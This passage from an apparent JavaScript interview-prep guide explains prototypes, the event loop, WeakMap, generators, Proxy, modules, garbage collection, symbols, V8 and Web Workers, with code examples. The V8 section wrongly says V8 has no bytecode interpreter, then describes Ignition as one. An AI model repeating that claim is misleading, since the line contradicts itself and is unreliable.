// Verify the chain
console.log(tesla instanceof Car);     // true
console.log(tesla instanceof Vehicle); // true
console.log(Object.getPrototypeOf(Car.prototype) === Vehicle.prototype); // true

// ── hasOwnProperty vs in ──
console.log(tesla.hasOwnProperty("make"));    // true  (own property)
console.log(tesla.hasOwnProperty("describe")); // false (on prototype)
console.log("describe" in tesla);              // true  (checks chain)

// ── Property shadowing ──
const base = { greet() { return "Hello from base"; } };
const child = Object.create(base);
child.greet = function() { return "Hello from child"; }; // shadows base.greet
console.log(child.greet()); // "Hello from child"
delete child.greet;
console.log(child.greet()); // "Hello from base" (falls back to prototype)

A game engine used prototypal inheritance for entity types: BaseEntity → MovableEntity → Character → Player. Adding a new enemy type required only creating a new prototype link, not rewriting base logic. The prototype chain handled 10K+ entities with shared methods, using 80% less memory than copying methods to each instance.

JavaScript objects inherit from other objects via the prototype chain. Property lookup walks the chain until found or null. ES6 classes are sugar over prototypes. Use hasOwnProperty() to check own vs inherited properties.
⚠️ Common Mistake

Candidates confuse .prototype (a property on constructor functions) with [[Prototype]] (the internal link on every object):

❌ Wrong — confusing the two
const obj = {};
console.log(obj.prototype); // undefined!
// .prototype exists on FUNCTIONS, not regular objects
// obj's internal [[Prototype]] is Object.prototype
✅ Correct — understanding the distinction
function Foo() {}
// Foo.prototype = object that instances inherit from
// Foo.__proto__ = Function.prototype (Foo's own prototype chain)

const f = new Foo();
Object.getPrototypeOf(f) === Foo.prototype; // true
Object.getPrototypeOf(Foo) === Function.prototype; // true
🔁 Follow-Up Question

How does Object.create() work and how is it different from new?

22 How does the event loop work (call stack, microtasks, macrotasks)? advanced

JavaScript is single-threaded — it has one call stack and can execute one piece of code at a time. The event loop is the mechanism that allows non-blocking I/O by offloading work to the browser/Node.js runtime and processing callbacks when the stack is empty.

The event loop has this priority: 1) Call stack (synchronous code) → 2) Microtask queue (Promise callbacks, queueMicrotask, MutationObserver) → 3) Macrotask queue (setTimeout, setInterval, I/O, UI rendering).

After each macrotask completes, the engine drains the entire microtask queue before picking the next macrotask. This means Promises always resolve before setTimeout callbacks, even if the timeout is 0.

// ── Event loop order visualization ──
console.log("1: Script start");          // 1️⃣ call stack (sync)

setTimeout(() => {
    console.log("2: setTimeout 0ms");    // 5️⃣ macrotask queue
}, 0);

Promise.resolve()
    .then(() => {
        console.log("3: Promise.then 1"); // 3️⃣ microtask queue
    })
    .then(() => {
        console.log("4: Promise.then 2"); // 4️⃣ microtask queue (chained)
    });

queueMicrotask(() => {
    console.log("5: queueMicrotask");    // 3️⃣ microtask queue
});

console.log("6: Script end");           // 2️⃣ call stack (sync)

// Output order:
// 1: Script start        (sync)
// 6: Script end          (sync)
// 3: Promise.then 1      (microtask — runs before macrotask!)
// 5: queueMicrotask      (microtask)
// 4: Promise.then 2      (microtask — chained)
// 2: setTimeout 0ms      (macrotask — runs last)

// ── Why this matters: blocking the event loop ──
// BAD: synchronous work blocks everything
function heavyComputation() {
    const start = Date.now();
    while (Date.now() - start < 3000) {} // blocks for 3 seconds!
    console.log("Done");
}
// During those 3 seconds: no clicks, no scrolling, no animations

// GOOD: break work into chunks
async function processLargeArray(items) {
    const CHUNK_SIZE = 1000;
    for (let i = 0; i < items.length; i += CHUNK_SIZE) {
        const chunk = items.slice(i, i + CHUNK_SIZE);
        chunk.forEach(item => processItem(item));

        // Yield to the event loop between chunks
        await new Promise(resolve => setTimeout(resolve, 0));
    }
}

// ── Microtask starvation ──
// This blocks macrotasks indefinitely!
function starve() {
    Promise.resolve().then(() => {
        // Continuously adding microtasks prevents any macrotask from running
        // setTimeout callbacks, UI updates — all starved!
        starve(); // DON'T DO THIS
    });
}

// ── Practical: requestAnimationFrame (before repaint) ──
function animate() {
    element.style.transform = `translateX(${position}px)`;
    position += 2;
    if (position < 500) {
        requestAnimationFrame(animate); // runs before next repaint (~60fps)
    }
}
requestAnimationFrame(animate);

A real-time chat app had "frozen UI" complaints. Investigation showed a JSON.parse() call on a 5MB message history was blocking the main thread for 800ms. Moving the parsing to a Web Worker and using setTimeout(fn, 0) to chunk the DOM updates restored smooth 60fps UI.

Event loop priority: sync code → all microtasks (Promises) → one macrotask (setTimeout) → all microtasks → next macrotask → repeat. Never block the main thread with synchronous work. Break heavy tasks into chunks.
⚠️ Common Mistake

Candidates say "setTimeout(fn, 0) runs immediately" — it doesn't. It runs after the current call stack AND all microtasks are done:

❌ Wrong — thinking setTimeout(0) runs before Promise
setTimeout(() => console.log("timeout"), 0);
Promise.resolve().then(() => console.log("promise"));
// "timeout" first? NO!
✅ Correct — microtasks always run before macrotasks
setTimeout(() => console.log("timeout"), 0);  // macrotask
Promise.resolve().then(() => console.log("promise")); // microtask
// Output: "promise" then "timeout"
// Microtask queue is fully drained before any macrotask runs
🔁 Follow-Up Question

What is the difference between setTimeout, setImmediate (Node.js), and process.nextTick?

23 What are WeakMap and WeakSet and when should you use them? advanced

WeakMap and WeakSet are collections that hold weak references to their keys (WeakMap) or values (WeakSet). "Weak" means the reference doesn't prevent garbage collection — if no other reference to the key/value exists, it gets automatically cleaned up.

WeakMap keys must be objects (not primitives). WeakSet values must be objects. Neither is iterable — you can't loop over entries, get the size, or list all items. This is by design: since entries can disappear at any time (GC), iteration would be unpredictable.

Use cases: storing private data per object, caching computations for specific objects, tracking DOM elements without memory leaks, and marking objects without modifying them.

// ── WeakMap: private data per object ──
const privateData = new WeakMap();

class User {
    constructor(name, password) {
        this.name = name;
        // Store sensitive data privately — not on the object itself
        privateData.set(this, { password, loginCount: 0 });
    }

    authenticate(input) {
        const data = privateData.get(this);
        if (data.password === input) {
            data.loginCount++;
            return true;
        }
        return false;
    }

    getLoginCount() {
        return privateData.get(this).loginCount;
    }
}

let user = new User("Alice", "secret123");
user.authenticate("secret123"); // true
console.log(user.getLoginCount()); // 1
console.log(user.password); // undefined — not on the object!

user = null; // WeakMap entry auto-cleaned by GC

// ── WeakMap: caching expensive computations ──
const cache = new WeakMap();

function expensiveProcess(obj) {
    if (cache.has(obj)) {
        console.log("Cache hit!");
        return cache.get(obj);
    }

    console.log("Computing...");
    const result = { processed: true, data: JSON.stringify(obj), timestamp: Date.now() };
    cache.set(obj, result);
    return result;
}

let data = { x: 1, y: 2 };
expensiveProcess(data); // "Computing..."
expensiveProcess(data); // "Cache hit!"
data = null; // cache entry auto-cleaned — no memory leak!

// ── WeakSet: tracking DOM elements ──
const visited = new WeakSet();

document.querySelectorAll(".article").forEach(article => {
    const observer = new IntersectionObserver(entries => {
        entries.forEach(entry => {
            if (entry.isIntersecting && !visited.has(entry.target)) {
                visited.add(entry.target);
                trackAnalytics("article_viewed", entry.target.id);
                // If element is removed from DOM → WeakSet auto-cleans
            }
        });
    });
    observer.observe(article);
});

// ── Comparison: Map vs WeakMap ──
// | Feature        | Map          | WeakMap      |
// |----------------|--------------|--------------|
// | Key types      | Any          | Objects only |
// | Iterable       | Yes          | No           |
// | .size          | Yes          | No           |
// | GC of keys     | No (strong)  | Yes (weak)   |
// | Use case       | General data | Per-object metadata |

// ── Memory leak prevention ──
// BAD: Map holds strong references — elements never GC'd
const badCache = new Map();
function addToCache(element) {
    badCache.set(element, expensiveCompute(element));
    // Even after element is removed from DOM, badCache keeps it alive!
}

// GOOD: WeakMap lets elements be GC'd
const goodCache = new WeakMap();
function addToGoodCache(element) {
    goodCache.set(element, expensiveCompute(element));
    // When element is removed from DOM and no other refs exist → auto-cleaned
}

A single-page app with infinite scroll used a regular Map to cache processed DOM nodes. After 2 hours of scrolling, memory usage hit 1.8GB because removed nodes were kept alive by the Map. Switching to WeakMap allowed GC to clean up off-screen nodes, keeping memory stable at 200MB.

WeakMap/WeakSet hold weak references — entries are auto-cleaned when keys/values have no other references. Use them for per-object metadata, caching, and DOM tracking without memory leaks. They're not iterable and have no .size.
⚠️ Common Mistake

Candidates try to use primitives as WeakMap keys or try to iterate over a WeakMap:

❌ Wrong — primitives as keys, trying to iterate
const wm = new WeakMap();
wm.set("key", "value");     // TypeError: Invalid value as weak map key
wm.set(42, "value");        // TypeError: primitives not allowed

for (const [k, v] of wm) {} // TypeError: wm is not iterable
console.log(wm.size);        // undefined
✅ Correct — objects as keys, use has/get/set/delete
const wm = new WeakMap();
const obj = { id: 1 };
wm.set(obj, "metadata");
wm.has(obj);  // true
wm.get(obj);  // "metadata"
wm.delete(obj); // true
🔁 Follow-Up Question

What are WeakRefs and FinalizationRegistry in ES2021?

24 Explain generators and iterators (function*, yield, Symbol.iterator). advanced

A generator is a function that can be paused and resumed using the yield keyword. Defined with function*, it returns a generator object (which is both an iterator and an iterable). Each call to .next() runs the function until the next yield and returns { value, done }.

An iterator is any object with a .next() method that returns { value, done }. An iterable is any object with a [Symbol.iterator]() method that returns an iterator. Arrays, strings, Maps, Sets, and generators are all iterable.

Generators enable: lazy evaluation (compute values on demand), infinite sequences, custom iterables, and cooperative multitasking (basis of async/await).

// ── Basic generator ──
function* countUp(start = 0) {
    let i = start;
    while (true) {
        yield i++;  // pause here, return current value
    }
}

const counter = countUp(1);
console.log(counter.next()); // { value: 1, done: false }
console.log(counter.next()); // { value: 2, done: false }
console.log(counter.next()); // { value: 3, done: false }
// Values generated on demand — no array stored in memory!

// ── Finite generator ──
function* fibonacci(limit = 10) {
    let [a, b] = [0, 1];
    for (let i = 0; i < limit; i++) {
        yield a;
        [a, b] = [b, a + b];
    }
}

// Use with for...of (auto-calls .next() until done: true)
for (const num of fibonacci(8)) {
    console.log(num); // 0, 1, 1, 2, 3, 5, 8, 13
}

// Spread into array
const fibs = [...fibonacci(10)]; // [0, 1, 1, 2, 3, 5, 8, 13, 21, 34]

// ── Sending values INTO a generator ──
function* conversation() {
    const name = yield "What is your name?";
    const age = yield `Hello ${name}! How old are you?`;
    return `${name} is ${age} years old.`;
}

const chat = conversation();
console.log(chat.next());          // { value: "What is your name?", done: false }
console.log(chat.next("Alice"));   // { value: "Hello Alice! How old are you?", done: false }
console.log(chat.next(30));        // { value: "Alice is 30 years old.", done: true }

// ── Custom iterable with Symbol.iterator ──
class Range {
    constructor(start, end) {
        this.start = start;
        this.end = end;
    }

    [Symbol.iterator]() {
        let current = this.start;
        const end = this.end;
        return {
            next() {
                return current <= end
                    ? { value: current++, done: false }
                    : { done: true };
            }
        };
    }
}

for (const n of new Range(5, 10)) {
    console.log(n); // 5, 6, 7, 8, 9, 10
}
console.log([...new Range(1, 5)]); // [1, 2, 3, 4, 5]

// ── Practical: paginated API fetch ──
async function* fetchPages(baseUrl) {
    let page = 1;
    while (true) {
        const response = await fetch(`${baseUrl}?page=${page}`);
        const data = await response.json();

        if (data.results.length === 0) return; // no more pages
        yield data.results;
        page++;
    }
}

// Usage:
// for await (const page of fetchPages("/api/users")) {
//     page.forEach(user => renderUser(user));
// }

A data pipeline processing 50GB CSV files used generators to read and transform one line at a time instead of loading the entire file into memory. Memory usage dropped from 8GB (out-of-memory crashes) to a constant 50MB regardless of file size.

Generators (function*) produce values lazily with yield. They're iterators and iterables. Use them for infinite sequences, lazy evaluation, paginated APIs, and large data streams. Implement Symbol.iterator to make any object work with for...of.
⚠️ Common Mistake

Candidates forget that generators are lazy — calling the function doesn't execute the body:

❌ Wrong — expecting immediate execution
function* gen() {
    console.log("Start"); // never runs!
    yield 1;
}
gen(); // nothing printed — just creates generator object
// Must call .next() or use for...of to execute
✅ Correct — call .next() to drive execution
function* gen() {
    console.log("Start"); // runs on first .next()
    yield 1;
}
const g = gen();
g.next(); // prints "Start", returns { value: 1, done: false }
🔁 Follow-Up Question

How are async generators (async function*) different from regular generators?

25 What are Proxy and Reflect and how do they enable metaprogramming? advanced

A Proxy wraps an object and intercepts fundamental operations (get, set, delete, function calls, etc.) via trap functions in a handler. It lets you define custom behaviour for basic object operations — this is called metaprogramming.

Reflect is a companion API with static methods matching every Proxy trap. It provides the default behaviour for each operation, making it easy to add custom logic while preserving normal behaviour.

Use cases: validation, logging/debugging, reactive systems (Vue.js 3 uses Proxy for reactivity), lazy loading, access control, negative array indexing, and auto-populated objects.

// ── Basic Proxy: validation ──
const validator = {
    set(target, prop, value) {
        if (prop === "age") {
            if (typeof value !== "number" || value < 0 || value > 150) {
                throw new TypeError(`Invalid age: ${value}`);
            }
        }
        if (prop === "email") {
            if (typeof value !== "string" || !value.includes("@")) {
                throw new TypeError(`Invalid email: ${value}`);
            }
        }
        target[prop] = value;
        return true; // indicate success
    }
};

const user = new Proxy({}, validator);
user.name = "Alice";    // ✅
user.age = 30;          // ✅
// user.age = -5;       // TypeError: Invalid age: -5
// user.email = "bad";  // TypeError: Invalid email: bad

// ── Logging proxy ──
function createLogger(obj, label) {
    return new Proxy(obj, {
        get(target, prop) {
            console.log(`[${label}] GET ${String(prop)} → ${target[prop]}`);
            return Reflect.get(target, prop);
        },
        set(target, prop, value) {
            console.log(`[${label}] SET ${String(prop)} = ${value}`);
            return Reflect.set(target, prop, value);
        }
    });
}

const config = createLogger({ theme: "dark" }, "Config");
config.theme;         // [Config] GET theme → dark
config.lang = "en";   // [Config] SET lang = en

// ── Negative array indexing (Python-style) ──
function negativeArray(arr) {
    return new Proxy(arr, {
        get(target, prop) {
            const index = Number(prop);
            if (Number.isInteger(index) && index < 0) {
                return target[target.length + index];
            }
            return Reflect.get(target, prop);
        }
    });
}

const arr = negativeArray([10, 20, 30, 40, 50]);
console.log(arr[-1]); // 50
console.log(arr[-2]); // 40

// ── Reactive system (simplified Vue.js 3 pattern) ──
const effects = new Map();
let activeEffect = null;

function reactive(obj) {
    return new Proxy(obj, {
        get(target, prop) {
            if (activeEffect) {
                if (!effects.has(prop)) effects.set(prop, new Set());
                effects.get(prop).add(activeEffect);
            }
            return Reflect.get(target, prop);
        },
        set(target, prop, value) {
            Reflect.set(target, prop, value);
            if (effects.has(prop)) {
                effects.get(prop).forEach(fn => fn()); // trigger watchers
            }
            return true;
        }
    });
}

const state = reactive({ count: 0 });

// ── Reflect: default behaviour companion ──
// Reflect.get(target, prop) — same as target[prop]
// Reflect.set(target, prop, value) — same as target[prop] = value
// Reflect.has(target, prop) — same as prop in target
// Reflect.deleteProperty(target, prop) — same as delete target[prop]
// Reflect.ownKeys(target) — returns all own keys (like Object.keys + symbols)

Vue.js 3 replaced Object.defineProperty() (Vue 2) with Proxy for its reactivity system. This allowed detecting property additions/deletions (impossible with defineProperty), reduced code complexity by 40%, and improved performance for large reactive objects from O(n) to O(1) initialization.

Proxy intercepts object operations (get, set, delete, etc.) via handler traps. Reflect provides default behaviour for each trap. Together they enable validation, logging, reactivity, and metaprogramming. Vue.js 3's reactivity is built on Proxy.
⚠️ Common Mistake

Candidates forget to return true from the set trap in strict mode, or they don't use Reflect for default behaviour:

❌ Wrong — set trap without return true
const p = new Proxy({}, {
    set(target, prop, value) {
        target[prop] = value;
        // missing return true → TypeError in strict mode!
    }
});
✅ Correct — use Reflect and return true
const p = new Proxy({}, {
    set(target, prop, value) {
        console.log(`Setting ${String(prop)}`);
        return Reflect.set(target, prop, value); // returns true
    }
});
🔁 Follow-Up Question

What are the performance implications of using Proxy? When should you avoid it?

26 What are ES modules vs CommonJS modules? advanced

ES Modules (ESM) use import/export syntax (ES6 standard). They're statically analysed — imports are resolved at parse time, enabling tree-shaking (dead code elimination). They're the official standard for JavaScript modules.

CommonJS (CJS) uses require()/module.exports. It was created for Node.js before ESM existed. CJS is dynamic — require() can appear inside if-blocks, loops, or functions. It loads synchronously.

Key differences: ESM has static analysis + tree-shaking, top-level await, and is async. CJS is synchronous, dynamic, and can't be tree-shaken. Modern code should use ESM. Node.js supports both (use "type": "module" in package.json or .mjs extension for ESM).

// ── ES Modules (ESM) ──

// math.js — named exports
export function add(a, b) { return a + b; }
export function multiply(a, b) { return a * b; }
export const PI = 3.14159;

// math.js — default export
export default class Calculator {
    add(a, b) { return a + b; }
}

// app.js — importing
import Calculator from "./math.js";           // default import
import { add, multiply, PI } from "./math.js"; // named imports
import { add as sum } from "./math.js";        // rename
import * as math from "./math.js";             // namespace import

// Dynamic import (lazy loading)
async function loadChart() {
    const { Chart } = await import("./chart.js"); // loaded on demand
    return new Chart();
}

// Re-exporting (barrel file)
// index.js
export { add, multiply } from "./math.js";
export { default as Logger } from "./logger.js";

// ── CommonJS (CJS) ──

// math.js — exporting
function add(a, b) { return a + b; }
function multiply(a, b) { return a * b; }
module.exports = { add, multiply };
// or: exports.add = add;

// app.js — importing
const { add, multiply } = require("./math");
const math = require("./math");

// Dynamic (conditional) require — valid in CJS, invalid in ESM
if (process.env.NODE_ENV === "production") {
    const monitor = require("./monitoring"); // only loaded in prod
}

// ── Key differences ──
// | Feature           | ESM                    | CommonJS              |
// |--------------------|------------------------|-----------------------|
// | Syntax             | import/export          | require/module.exports|
// | Loading            | Async                  | Synchronous           |
// | Static analysis    | Yes (tree-shaking!)    | No                    |
// | Top-level await    | Yes                    | No                    |
// | this at top level  | undefined              | module.exports        |
// | File extension     | .mjs or "type":"module"| .cjs or default       |
// | Browser support    | Native (script type=module) | Needs bundler   |
// | Conditional import | Dynamic import()       | require() anywhere    |

// ── package.json for ESM ──
// { "type": "module" } → all .js files treated as ESM
// { "type": "commonjs" } → all .js files treated as CJS (default)

A React app migrated from CJS to ESM across 800 files. Webpack's tree-shaking eliminated 40% of the bundle (dead code from utility libraries like lodash). Bundle size dropped from 1.2MB to 720KB, improving initial page load by 1.8 seconds on mobile.

ESM (import/export) is the standard — use it for new code. It enables tree-shaking, static analysis, and top-level await. CJS (require) is legacy Node.js. Use dynamic import() for lazy loading. Set "type": "module" in package.json for Node.js ESM.
⚠️ Common Mistake

Candidates mix ESM and CJS syntax in the same file:

❌ Wrong — mixing import and require
import express from "express";
const lodash = require("lodash"); // SyntaxError in ESM!
// Cannot use require() in an ES module
✅ Correct — stick to one module system
// ESM only:
import express from "express";
import lodash from "lodash";

// Or use createRequire for CJS packages in ESM:
import { createRequire } from "module";
const require = createRequire(import.meta.url);
const legacy = require("./cjs-only-package");
🔁 Follow-Up Question

What is tree-shaking and how does it work with ES modules?

27 How does garbage collection work in JavaScript (Mark-and-Sweep)? advanced

JavaScript uses automatic garbage collection (GC) — the engine periodically finds objects that are no longer reachable (no references from root objects like global scope, call stack, closures) and frees their memory.

The primary algorithm is Mark-and-Sweep: starting from "roots" (global object, current call stack, closures), the GC traverses all reachable objects and marks them. Then it sweeps through all allocated memory and frees any unmarked (unreachable) objects.

Modern engines (V8) use generational GC: a fast "minor GC" for short-lived objects (nursery/young generation) and a slower "major GC" for long-lived objects (old generation). Most objects die young, so the minor GC is very efficient.

// ── Reachability determines GC ──

// Object is reachable via variable
let user = { name: "Alice", age: 30 };
// user → {name: "Alice"} — reachable, NOT collected

user = null;
// No reference to {name: "Alice"} — WILL be collected

// ── Circular references (NOT a problem for Mark-and-Sweep) ──
function createCircular() {
    const a = {};
    const b = {};
    a.ref = b;
    b.ref = a; // circular reference
    return "done";
}
createCircular();
// Both a and b are unreachable after function returns
// Mark-and-Sweep handles this — reference counting would fail

// ── Common memory leak patterns ──

// 1. Forgotten timers
let leakyData = loadHugeDataset(); // 100MB
setInterval(() => {
    // This closure keeps leakyData alive forever!
    console.log(leakyData.length);
}, 1000);
// Fix: clearInterval when done, or use WeakRef

// 2. Closures holding large data
function processData() {
    const hugeArray = new Array(1_000_000).fill("data");
    return function getLength() {
        return hugeArray.length; // closure keeps hugeArray alive!
    };
}
const getLen = processData(); // hugeArray lives in memory

// Fix: extract only what you need
function processDataFixed() {
    const hugeArray = new Array(1_000_000).fill("data");
    const length = hugeArray.length;
    return function getLength() {
        return length; // only number in closure, not entire array
    };
}

// 3. Detached DOM nodes
const elements = [];
function addElement() {
    const div = document.createElement("div");
    document.body.appendChild(div);
    elements.push(div); // strong reference in array
    document.body.removeChild(div); // removed from DOM but NOT GC'd!
}
// Fix: use WeakSet or remove from array

// 4. Global variables
function leak() {
    accidental = "I'm global!"; // missing let/const — becomes window.accidental
}

// ── Memory profiling ──
// Chrome DevTools → Memory tab → Take Heap Snapshot
// Look for: detached DOM nodes, growing arrays, large closures
// Compare snapshots to find leaks

// ── V8 GC generations ──
// Young generation (Scavenger): 1-8MB, very fast, minor GC
//   - Most objects die here (temporary variables, function locals)
// Old generation (Mark-Sweep/Mark-Compact): larger, slower, major GC
//   - Objects that survive multiple minor GCs get promoted here
//   - Full GC pauses: typically 1-10ms with incremental marking

A Node.js API server had a memory leak: response objects were stored in a debugging Map that was never cleared. After 24 hours, the process consumed 4GB and crashed. Using Chrome DevTools heap snapshots, the team found 500K retained response objects. Adding a TTL-based cleanup to the Map and switching to WeakMap for non-critical caching fixed the leak.

JavaScript GC uses Mark-and-Sweep: objects unreachable from roots are freed. Common leaks: forgotten timers/listeners, closures holding large data, detached DOM nodes, and accidental globals. Use DevTools Memory tab to find leaks.
⚠️ Common Mistake

Candidates say "circular references cause memory leaks in JavaScript" — this was true for IE6's reference counting GC, but modern Mark-and-Sweep handles circular references fine:

❌ Wrong — circular refs are NOT a problem
// "This leaks because a and b reference each other"
let a = {};
let b = {};
a.ref = b;
b.ref = a;
a = null;
b = null;
// NOT a leak! Mark-and-Sweep sees both are unreachable → collected
✅ Correct — real leaks come from reachable but forgotten references
// Real leak: event listeners on removed elements
const button = document.getElementById("btn");
button.addEventListener("click", handler);
button.remove(); // removed from DOM but handler keeps a reference
// Fix: button.removeEventListener("click", handler); before remove()
🔁 Follow-Up Question

How do you use Chrome DevTools to find and fix memory leaks?

28 What are symbols and what problems do they solve? advanced

Symbols are a primitive type (ES6) that creates guaranteed unique identifiers. Two symbols are never equal, even if they have the same description: Symbol("id") !== Symbol("id").

Symbols solve the property name collision problem — you can add properties to objects without risk of overwriting existing ones. They're used by the language itself for "well-known symbols" like Symbol.iterator, Symbol.toPrimitive, and Symbol.hasInstance.

Symbol properties are not enumerable by default — they don't show up in for...in, Object.keys(), or JSON.stringify(). Use Object.getOwnPropertySymbols() to access them.

// ── Creating symbols ──
const sym1 = Symbol("id");
const sym2 = Symbol("id");
console.log(sym1 === sym2); // false — always unique!
console.log(typeof sym1);   // "symbol"

// ── Symbols as unique property keys ──
const ID = Symbol("id");
const user = {
    name: "Alice",
    [ID]: 12345, // symbol-keyed property
};

console.log(user[ID]); // 12345
console.log(user.ID);  // undefined — dot notation doesn't work with symbols

// ── Hidden from normal enumeration ──
console.log(Object.keys(user));         // ["name"] — no symbol
console.log(JSON.stringify(user));       // {"name":"Alice"} — no symbol
console.log(Object.getOwnPropertySymbols(user)); // [Symbol(id)]

// ── Avoiding property collisions (library code) ──
// Two libraries can add properties to the same object safely
const libA_key = Symbol("metadata");
const libB_key = Symbol("metadata"); // different symbol despite same description

const sharedObj = {};
sharedObj[libA_key] = { source: "Library A" };
sharedObj[libB_key] = { source: "Library B" };
// No collision! Both properties coexist

// ── Symbol.for() — global symbol registry ──
const globalSym1 = Symbol.for("app.config");
const globalSym2 = Symbol.for("app.config");
console.log(globalSym1 === globalSym2); // true — shared across files!
console.log(Symbol.keyFor(globalSym1)); // "app.config"

// ── Well-known symbols (customize language behaviour) ──

// Symbol.iterator — make object iterable
class Range {
    constructor(start, end) {
        this.start = start;
        this.end = end;
    }
    [Symbol.iterator]() {
        let current = this.start;
        const end = this.end;
        return {
            next() {
                return current <= end
                    ? { value: current++, done: false }
                    : { done: true };
            }
        };
    }
}
console.log([...new Range(1, 5)]); // [1, 2, 3, 4, 5]

// Symbol.toPrimitive — customize type conversion
class Money {
    constructor(amount, currency) {
        this.amount = amount;
        this.currency = currency;
    }
    [Symbol.toPrimitive](hint) {
        if (hint === "number") return this.amount;
        if (hint === "string") return `${this.currency} ${this.amount}`;
        return this.amount; // default
    }
}

const price = new Money(29.99, "USD");
console.log(+price);     // 29.99 (number hint)
console.log(`${price}`); // "USD 29.99" (string hint)
console.log(price + 10); // 39.99 (default hint → number)

A plugin system used Symbols as keys for internal metadata on DOM elements. Third-party plugins could attach data to elements without conflicting with each other or the core library. This replaced a fragile naming convention (prefixing keys with "__libname_") that had caused 5 collision bugs in production.

Symbols are unique, non-enumerable property keys that prevent name collisions. Use them for internal/private metadata, library properties, and customizing object behaviour via well-known symbols (Symbol.iterator, Symbol.toPrimitive). Use Symbol.for() for shared cross-module symbols.
⚠️ Common Mistake

Candidates try to coerce symbols to strings using concatenation:

❌ Wrong — implicit string coercion throws
const sym = Symbol("test");
console.log("Symbol: " + sym); // TypeError: Cannot convert a Symbol to a string
✅ Correct — explicit conversion
const sym = Symbol("test");
console.log(`Symbol: ${sym.toString()}`);  // "Symbol: Symbol(test)"
console.log(`Symbol: ${sym.description}`); // "Symbol: test"
console.log(String(sym));                   // "Symbol(test)"
🔁 Follow-Up Question

What is Symbol.hasInstance and how can you customize the instanceof operator?

29 How does the V8 engine compile and optimize JavaScript? experienced

V8 is Google's JavaScript engine (used in Chrome and Node.js). It compiles JavaScript directly to machine code — no bytecode interpreter in the traditional sense. The pipeline: ParserASTIgnition (bytecode interpreter) → TurboFan (optimizing compiler).

Ignition quickly generates compact bytecode for fast startup. As code runs, V8 profiles it. Functions that run frequently ("hot" code) get sent to TurboFan, which produces highly optimized machine code using techniques like inlining, escape analysis, and hidden classes.

If TurboFan's assumptions are violated (e.g., a variable's type changes), it deoptimizes — falls back to Ignition bytecode. This is why consistent types matter for performance. V8 also uses hidden classes (Shapes/Maps) to optimize property access — objects with the same properties in the same order share a hidden class.

// ── Hidden classes: property order matters ──
// V8 creates internal "hidden classes" for object shapes

// GOOD: same property order → shared hidden class → fast
function createUserGood(name, age) {
    const user = {};
    user.name = name;  // hidden class transition 1
    user.age = age;    // hidden class transition 2
    return user;
}
// All users share the same hidden class → optimized property access

// BAD: different property order → different hidden classes → slow
function createUserBad(name, age, isAdmin) {
    const user = {};
    if (isAdmin) {
        user.role = "admin";  // different order!
        user.name = name;
        user.age = age;
    } else {
        user.name = name;
        user.age = age;
    }
    return user;
}
// Admin users have different hidden class → deoptimized access

// ── Inline caches (IC): monomorphic vs polymorphic ──
// GOOD: function always receives same type → monomorphic (fast)
function addNumbers(a, b) {
    return a + b; // V8 optimizes for number + number
}
addNumbers(1, 2);     // V8 sees: both numbers
addNumbers(3, 4);     // confirmed: both numbers → inline cache hit
addNumbers(5, 6);     // TurboFan optimizes to machine add instruction

// BAD: different types → polymorphic/megamorphic (slow)
function addMixed(a, b) {
    return a + b;
}
addMixed(1, 2);       // number + number
addMixed("a", "b");   // string + string → different IC entry
addMixed(1, "2");     // number + string → IC becomes megamorphic → deoptimize

// ── Deoptimization triggers ──
// 1. Changing object shape after creation
const obj = { x: 1, y: 2 };
delete obj.x; // forces hidden class change → deoptimize
// Fix: set to undefined instead: obj.x = undefined;

// 2. try/catch used to prevent optimization (old V8, now fixed)

// 3. Arguments object leaking
function bad() {
    return arguments; // prevents optimization in some cases
}
function good(...args) {
    return args; // rest params are optimizable
}

// ── Practical: V8 optimization tips ──
// 1. Initialize all properties in constructor
class Point {
    constructor(x, y) {
        this.x = x; // always same order
        this.y = y;
        this.z = 0; // initialize all upfront, even if unused
    }
}

// 2. Don't change variable types
let count = 0;     // V8 says: it's a Smi (small integer)
count = "hello";   // V8: deoptimize! type changed

// 3. Use TypedArrays for numerical work
const float64 = new Float64Array(1000);
// Guaranteed type → no type checks needed → C-speed access

// ── V8 compilation pipeline summary ──
// Source → Parser → AST → Ignition (bytecode) → runs
//                                ↓ (hot code detected)
//                          TurboFan (optimized machine code)
//                                ↓ (assumption violated)
//                          Deoptimize → back to Ignition

A trading dashboard rendering 10K rows had 300ms render times. V8 profiling revealed megamorphic inline caches — each row object had properties added in different orders (conditional fields). Normalizing the object shape (always setting all properties, even as null) reduced render time to 45ms — a 6.7x speedup with zero algorithmic changes.

V8 uses Ignition (bytecode) for quick startup and TurboFan (JIT compiler) for hot code. Keep object shapes consistent (same properties, same order). Avoid changing variable types. Use TypedArrays for numerical work. Profile with --trace-opt and --trace-deopt flags.
⚠️ Common Mistake

Candidates micro-optimize without profiling, or they apply V8-specific optimizations that the engine already handles:

❌ Wrong — premature micro-optimization
// "I always use bitwise OR instead of Math.floor for speed"
const fast = (4.9 | 0); // 4 — truncates to int
// This saves nanoseconds but hurts readability
// V8 already optimizes Math.floor for integer inputs
✅ Correct — profile first, optimize what matters
// Profile with Chrome DevTools → Performance tab
// Identify actual bottlenecks, then optimize
// Object shape consistency and algorithm choice matter
// more than micro-optimizations
const result = Math.floor(4.9); // readable, fast enough
🔁 Follow-Up Question

What is Spectre/Meltdown and how did it affect JavaScript engine design (SharedArrayBuffer, high-res timers)?

30 What are Web Workers and when should you use them? experienced

Web Workers run JavaScript in a background thread, separate from the main thread. This allows CPU-intensive work (parsing, compression, image processing, complex calculations) without blocking the UI.

Workers communicate with the main thread via message passing (postMessage/onmessage). They can't access the DOM, window, or document. Data is copied (structured clone) by default, but Transferable objects (ArrayBuffer, OffscreenCanvas) can be transferred with zero-copy for better performance.

Types: Dedicated Workers (one owner), Shared Workers (multiple tabs), and Service Workers (proxy between browser and network — for caching/offline). Module Workers support import statements.

// ── Main thread (app.js) ──
const worker = new Worker("worker.js");

// Send data to worker
worker.postMessage({
    task: "processData",
    data: largeDataArray, // structured clone (copy)
});

// Receive results
worker.onmessage = (event) => {
    console.log("Result:", event.data);
    renderResults(event.data);
};

worker.onerror = (error) => {
    console.error("Worker error:", error.message);
};

// ── Worker thread (worker.js) ──
self.onmessage = (event) => {
    const { task, data } = event.data;

    if (task === "processData") {
        // Heavy computation — doesn't block UI!
        const result = data
            .filter(item => item.score > 50)
            .map(item => ({
                ...item,
                grade: calculateGrade(item.score),
                percentile: calculatePercentile(item.score, data),
            }))
            .sort((a, b) => b.score - a.score);

        self.postMessage(result);
    }
};

// ── Transferable objects (zero-copy transfer) ──
// Main thread
const buffer = new ArrayBuffer(1024 * 1024); // 1MB
